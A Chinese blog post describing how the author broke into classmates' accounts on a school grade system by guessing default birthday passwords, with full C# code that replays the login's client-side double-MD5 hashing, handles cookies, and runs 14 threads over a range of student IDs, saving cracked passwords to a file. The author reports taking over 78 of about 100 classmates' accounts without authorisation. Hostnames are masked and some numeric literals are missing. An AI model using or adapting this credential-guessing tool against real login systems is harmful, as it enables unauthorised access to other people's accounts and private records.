背景介绍

  我们学校的教务系统的是以学生学号作为登陆账号,初始密码是自己的生日。

一点点想法

  每次期末查成绩的时候,我都会有一个想法,要是我能跑到系统后台,把自己的成绩修改一下,那该时间多么舒坦的事情啊。当然,我目前还并没有这么做。^_^  光看自己的成绩不过瘾,有时候还想看下同学的成绩。怎么办呢?突然,我发现我从来没有改过我的密码,那会不会有很多人像我这样,没有改密码呢?如果是这样,那么密码就应该主要局限于1991年到1994年的所有日期了,空间集就大大减小了。那我是不是可以暴力得进行破解呢?如果这样就直接不停地给服务器发送http数据包,并分析服务器相应的结果,不就可以了么?好了,基本的思路我有了,由于只是在应用层上做文章,我打算用C#实现。

开始尝试,发现困难

  我利用fiddle捕获了点击登录按钮后,发送给服务器的数据结果如图:

  这是HTTP数据包的头部,另外post的数据为:

  

  遮住的部分是我的学号,结果我发现password发送的居然不是我的生日,而是一串很长的字母数字串,于是我查看网页源码,发现里面有一段这样的的js语句:

  

<form name="frmLogin" method="post" action="./Servlet/UsersControl" onsubmit="return selectType();">
………………………………
</form> function selectType()
{
…………
change();
} function change()
{
var pw = document.frmLogin.password.value;
pw = hex_md5(pw);
pw = hex_md5(pw+sharedValue); //用共享数值再次加密
document.frmLogin.password.value = pw ;
}

  简单的说一下这一段的意思,form就是我们提交的表单,点击登录按钮之前调用 selectType(),selectType()在代码的最后面调用了change()函数,而change()函数改变了我们提交给服务器的密码值。而且在change()函数里shareValue这个值每次请求,服务器返回的值是不一样的,服务器通过这个值来对密码进行加密。这下算是总算明白为什么会提交一串看不懂的数字字母了(而且每次还不一样,因为shareValue每次都不一样)。

  进一步挖掘,发现hex_md5这个函数,在一个js文件里面,这个文件里面存在这一下加密函数,对输入参数做了很复杂的变换,我简单地看了一下里面的逻辑,发现都是一点函数的调用,并没有涉及到其他的文件与资源。到这里,我们已经基本了解了整个加密过程。于是,只要我们按照这样的顺序对密码进行同样的处理,就能得到正确的密码。而在C#有个开源项目 Javascript .NET,可以通过它去调用并执行Js。

  但问题并没有这么简单,细心的你观察Http数据包头部可以发现里面的cookie有三个参数,而且前两个是通过Js直接设置的,最后一个是服务器设置的。所以通过C#中的HttpWebRequest对象请求,只能得到最后一个JSESSIONID的值,例外两个需要在程序里面另外设置。

最终实现

  实现框架:

        for :date从1991到1994年所有的日期

        if(Crack(学号,date)){

          破解成功;

        }

    bool Crack(学号,日期){

        构造合适的HttpWebRequest对象请求登陆页面;

        分析网页代码得到shareValue的值并与日期一起传递给加密函数得到Post数据里面的password;

        将得到的cookie值提取出来,赋给下一次请求的HttpWebRequest对象,同时添加另外两个cookie值;

        再次发起请求通过分析服务器相应判断该日期是否正确,正确返回true,不正确返回false;

    }

     实践中发现单纯使用这种方式破解一个账号的速度大约是30分钟,主要原因是每次网络请求的开销比较大。后来我在原来思路的基础上,加入了多线程的方法,把破解速度提高到平均每3-5分钟破解一个。

具体代码:

     public class Date {
public int y1;
public int y2;
public int m1;
public int m2;
public int d1;
public int d2;
public string stuNumber; public Date(int a, int b, int c, int d, int e, int f,string num) {
y1 = a;
m1 = b;
d1 = c;
y2 = d;
m2 = e;
d2 = f;
stuNumber = num;
}
}

  这个类代表待破解的学号,以及相应的日期区间 从y1-m1-d1到y2-m2-d2。

         static private bool func(string stunum, string birth)
{
try
{
HttpWebRequest rqst = (HttpWebRequest)WebRequest.Create("http://********************");
rqst.CookieContainer = new CookieContainer();
rqst.Accept = "text/html, application/xhtml+xml, */*";
rqst.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)";
rqst.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3";
rqst.Headers["Accept-Language"] = "zh-CN,zh;q=0.3";
rqst.Method = "GET";
rqst.KeepAlive = true; HttpWebResponse httpWebResponse = (HttpWebResponse)rqst.GetResponse();
var ttt = httpWebResponse.Cookies;
Cookie cookie1 = ttt[]; Stream responseStream = httpWebResponse.GetResponseStream();
StreamReader streamReader = new StreamReader(responseStream, Encoding.ASCII);
string html = streamReader.ReadToEnd(); StreamReader sr = new StreamReader("md5.js");
string md5 = sr.ReadToEnd();
var lines = html.Split('\n');
string temp = lines[];
var key = temp.Substring(); using (JavascriptContext ctx = new JavascriptContext())
{
var i = ctx.Run(md5);
ctx.Run("var sharedValue = " + key + ";" + "pw = '" + birth + "';pw = hex_md5(pw);pw = hex_md5(pw+sharedValue);");
var pw = ctx.GetParameter("pw"); CookieContainer objcok = new CookieContainer();
objcok.Add(new Uri("http://****************"), new Cookie("cck_lasttime", ""));
objcok.Add(new Uri("http://*****************"), new Cookie("cck_count", ""));
objcok.Add(new Uri("*********************"), new Cookie(cookie1.Name.ToString(), cookie1.Value.ToString())); HttpWebRequest rqst3 = (HttpWebRequest)WebRequest.Create("http://**************");
rqst3.Method = "POST";
rqst3.ContentType = "application/x-www-form-urlencoded";
rqst3.Referer = "http://****************";
rqst3.Accept = "text/html, application/xhtml+xml, *?*";
rqst3.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)";
rqst3.ServicePoint.ConnectionLimit = ;
rqst3.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3";
rqst3.Headers["Accept-Language"] = "zh-CN,zh;q=0.3";
rqst3.CookieContainer = new CookieContainer();
rqst3.CookieContainer = objcok; Encoding encoding = Encoding.ASCII;
string postDataStr3 = "uid=" + stunum + "&password=" + pw + "&sltType=%D1%A7+%C9%FA&Submit=%C8%B7+%B6%A8&command=studentLogin";
byte[] postData = encoding.GetBytes(postDataStr3);
rqst3.ContentLength = postData.Length;
Stream requestStream = rqst3.GetRequestStream();
requestStream.Write(postData, , postData.Length); HttpWebResponse httpWebResponse3 = (HttpWebResponse)rqst3.GetResponse();
Stream responseStream3 = httpWebResponse3.GetResponseStream();
StreamReader streamReader3 = new StreamReader(responseStream3, Encoding.GetEncoding("gb2312"));
string html2 = streamReader3.ReadToEnd();
if (httpWebResponse3.ResponseUri.ToString() == "************************")
return true;
}
return false;
}
catch (Exception e) {
Console.WriteLine("error:" +stunum + '\t' + birth);
return false;
}
}

这个是上面所说的的Crack函数;

         static public void threadFunc(object da){
Date date = (Date)da;
for (int y = date.y1; y <= date.y2; y++)
{
for (int m = date.m1; m <= date.m2; m++)
{
for (int d = date.d1; d <= date.d2; d++)
{
if (flag == )
return;
StringBuilder tempStr = new StringBuilder();
tempStr.Append(y.ToString());
if (m < )
{
tempStr.Append("" + m.ToString());
}
else
{
tempStr.Append(m.ToString());
}
if (d < )
{
tempStr.Append("" + d.ToString());
}
else
{
tempStr.Append(d.ToString());
}
if (func(date.stuNumber, tempStr.ToString()))
{
psword = tempStr.ToString();
flag = ;
break;
}
}
if (flag == ) break;
}
if (flag == ) break;
}
}

  多线程的线程函数,通过传递参数的不同,对不同时间区间同时破解。

 static void Main(string[] args)
{
for (int num = ******; num < ******; num++) {
Console.WriteLine("" + num);
FileStream fs = new FileStream("dic.txt", FileMode.Append);
StreamWriter sw = new StreamWriter(fs, Encoding.Default);
Date date1 = new Date(, , , , , ,"" + num);
Date date2 = new Date(, , , , , , "" + num);
Date date3 = new Date(, , , , , , "" + num);
Date date4 = new Date(, , , , , , "" + num);
Date date5 = new Date(, , , , , , "" + num);
Date date6 = new Date(, , , , , , "" + num);
Date date7 = new Date(, , , , , , "" + num);
Date date8 = new Date(, , , , , , "" + num);
Date date9 = new Date(, , , , , , "" + num);
Date date10 = new Date(, , , , , , "" + num);
Date date11 = new Date(, , , , , , "" + num);
Date date12 = new Date(, , , , , , "" + num);
Date date13 = new Date(, , , , , , "" + num);
Date date14 = new Date(, , , , , , "" + num); Thread thread1 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread2 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread3 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread4 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread5 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread6 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread7 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread8 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread9 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread10 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread11 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread12 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread13 = new Thread(new ParameterizedThreadStart(threadFunc));
Thread thread14 = new Thread(new ParameterizedThreadStart(threadFunc)); thread1.Start(date1);
thread2.Start(date2);
thread3.Start(date3);
thread4.Start(date4);
thread5.Start(date5);
thread6.Start(date6);
thread7.Start(date7);
thread8.Start(date8);
thread9.Start(date9);
thread10.Start(date10);
thread11.Start(date11);
thread12.Start(date12);
thread13.Start(date13);
thread14.Start(date14); thread1.Join();
thread2.Join();
thread3.Join();
thread4.Join();
thread5.Join();
thread6.Join();
thread7.Join();
thread8.Join();
thread9.Join();
thread10.Join();
thread11.Join();
thread12.Join();
thread13.Join();
thread14.Join(); if (flag == ) {
sw.WriteLine("" + num + '\t' + psword);
flag = ;
}
sw.Close();
fs.Close();
}
}

  主函数写得有点丑。大家请见谅,如果大家有更优雅的方法实现,可以指教一下。

  大致的过程就是这样,最后说说成果吧,我对我们班100来号人的账号进行了尝试,结果破解了78位同学的账号,这个过程大概花了一整个下午的时间。原来大部分人都和我一样,没有改密码。在此提醒哪些不该初始密码的同学,不该初始密码,就相当于告诉了别人你的密码空间是什么样的,这将大大降低破解的时间,所以希望能够引起大家对修改密码必要性的重视。

C#构造Http 破解学校教务系统学生账号密码的更多相关文章

  1. 课程助理For Windows(预览版,正方教务系统学生查分工具)

    其实盖子已经开发了一个功能更强大的版本,但是那个版本依然基于正方系统,也就是说只要正方系统跪了或者张院士在网站上做点手脚,这个小工具就会失效. 今天给大家的版本虽然功能及其简单.界面极端丑陋,但是通过 ...

  2. HttpClient+Jsoup模拟登陆贺州学院教务系统,获取学生个人信息

    前言 注:可能学校的教务系统已经做了升级,当前的程序不知道还能不能成功获取信息,加上已经毕业,我的账户已经被注销,试不了,在这里做下思路跟过程的记录. 在我的毕业设计中”基于SSM框架贺州学院校园二手 ...

  3. python第三十五天-----作业完成--学校选课系统

    选课系统:角色:学校.学员.课程.讲师要求:1. 创建北京.上海 2 所学校2. 创建linux , python , go 3个课程 , linux\py 在北京开, go 在上海开3. 课程包含, ...

  4. SICAU教务系统登录密码加密算法的VB方式实现

    关于一个算法.这个算法是SICAU教务系统在账号登录时采取的一个加密算法.算法的实现并不复杂. 具体如下: Function Form1pwdvalue(ByVal pwdvalue As Strin ...

  5. 破解Linux系统root用户密码

    linux系统的启动过程  在介绍破解Linux系统root密码之前先了解一下linux系统的启动过程 开机自检(POST),初始化部分硬件 搜素可用于引导的启动设备(如磁盘的MBR) 读取并将控制权 ...

  6. HttpURLConnection模拟登录学校的正方教务系统

    教务系统登录界面 如图1-1 1-1 F12-->network查看登录教务系统需要参数: __VIEWSTAT txtUserName TextBox2 txtSecretCode Radio ...

  7. 从爬取湖北某高校hub教务系统课表浅谈Java信息抓取的实现 —— import java.*;

    原创文章与源码,如果转载请注明来源. 开发环境:Myeclipse,依赖包:apache-httpclient . Jsoup.base64 一.概述 整个系统用Java开发.我们现在要做的是类似于超 ...

  8. 在Android上模拟登录广工正方教务系统查询成绩

    这是在博客园里开博以来写的第一篇博客. 因为之前看过很多人都有发过关于模拟登录正方软件获取数据的文章,自己觉得挺好玩的便也去动手一做,开始还以为挺难的,但实际做起来还蛮简单的,当然其中还有些小插曲. ...

  9. 以正方教务系统为例,用php模拟登陆抓取课表、空教室

    课程格子和超级课程表这两个应用,想必大学生都很熟悉,使用自己的学号和教务系统的密码,就可以将自己的课表导入,随时随地都可以在手机上查看. 其实稍微了解一点php的话,我们也可以做一个类似这样的web ...

随机推荐

  1. 多个$(document).ready()函数的执行顺序问题,(未解决)

    今天遇到了一个问题: jQuery获取不了动态添加的元素,我使用的是append添加的.寻求了帮助,得到解决方案: 在文件开头写上这样一段代码来获取,写在$(document).ready()里面. ...

  2. 分享Kali Linux 2016.2第48周镜像文件

    分享Kali Linux 2016.2第48周镜像文件Kali Linux官方于11月27日发布Kali Linux 2016.2的第48周镜像.这次延续以往规律,仍然是11个镜像文件.默认的Gnom ...

  3. 转:Delphi 回调函数及例子

    http://anony3721.blog.163.com/blog/static/5119742010866050589/ { http://anony3721.blog.163.com/blog/ ...

  4. Android应用帧率--FPS测试

    Android应用帧率FPS是衡量应用流畅度的一个非常重要的指标,可以根据FPS对应用做一些优化,那么在开发过程中如何来测试我们的应用的FPS呢? 准备工具:Eclipse + Android测试终端 ...

  5. NoSQL-Redis【2】-实现分布式Session

    经过一周紧张的开发和调试,终于把Redis实现的分布式Session发布到了生产环境.我在本地测试了100万的数据,Redis的速度确实让我满意,期待在线上有更好的表现. 一.配置windows-se ...

  6. POJ3308 Paratroopers(最小割/二分图最小点权覆盖)

    把入侵者看作边,每一行每一列都是点,选取某一行某一列都有费用,这样问题就是选总权最小的点集覆盖所有边,就是最小点权覆盖. 此外,题目的总花费是所有费用的乘积,这时有个技巧,就是取对数,把乘法变为加法运 ...

  7. oracle调试存储过程

    跟着楼主一起来测试存储过程吧: 1.右键要测试的存储过程 出现如下提示框 2.填写参数 3.点击开始,如下操作 over,就是这么简单 -------------------------------- ...

  8. 纯JavaScripst的全选、全不选、反选 【转】

    <!doctype html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  9. [知识点]状态压缩DP

    // 此博文为迁移而来,写于2015年7月15日,不代表本人现在的观点与看法.原始地址:http://blog.sina.com.cn/s/blog_6022c4720102w6jf.html 1.前 ...

  10. 【搬运工】NOIP吧置顶贴

    目的是存置顶贴里的链接.. 原帖:http://tieba.baidu.com/p/1753284199 资源站:*C++资源:http://tieba.baidu.com/p/1239792581* ...